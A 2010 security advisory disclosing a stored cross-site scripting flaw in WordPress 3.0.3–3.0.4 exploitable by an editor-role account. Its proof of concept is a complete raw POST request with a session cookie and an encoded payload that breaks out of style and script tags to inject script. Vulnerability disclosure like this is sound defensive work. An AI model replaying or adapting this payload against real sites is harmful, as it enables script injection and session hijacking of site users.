ANATOLIA SECURITY ADVISORY -------------------------------------- ### ADVISORY INFO ### + Title: Wordpress 3.0.4 Stored XSS (Role: Editor) + Advisory URL: http://www.anatoliasecurity.com/adv/as-adv-2010-005.txt + Advisory ID: 2010-005 + Versions: Wordpress 3.0.4, 3.0.3 (maybe earlies versions) + Date: 30/12/2010 + Vendor: WordPress Blog Tool and Publishing Platform + Impact: Execute Malicious Javascript Codes + CWE-ID: 79 (Cross-site Scripting) + Credit: Anatolia Security + Author: Sir - sir[at]anatoliasecurity[dot]com ### VULNERABLE PRODUCT ### + Wordpress: "WordPress is web software you can use to create a beautiful website or blog. We like to say that WordPress is both free and priceless at the same time." + Homepage: http://wordpress.org ### VULNERABILITY DETAILS ### + Description: Attackers can execute malicious javascript codes or hijacking SESSION for privilege escalation. The attacker has to be the authority of the editor. Screenshot: http://img3.imageshack.us/img3/1148/wordpressx.png PoC: '"--> POST http://localhost/wordpress304/wp-comments-post.php HTTP/1.1 Host: localhost Connection: keep-alive Referer: http://localhost/wordpress304/?page_id=2 Content-Length: 189 Cache-Control: max-age=0 Origin: http://localhost Content-Type: application/x-www-form-urlencoded Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.6,en;q=0.4 Accept-Charset: ISO-8859-9,utf-8;q=0.7,*;q=0.3 Cookie: wp-settings-time-1=1293719651; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_a9710e337f5b83061184233e85654d2c=editor%7C1293893085%7C1b3f84f58059c0fcf262ef1bb83635c2; wp-settings-time-3=1293720285 comment=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&submit=Post+Comment&comment_post_ID=2&comment_parent=0&_wp_unfiltered_html_comment=7741b495eb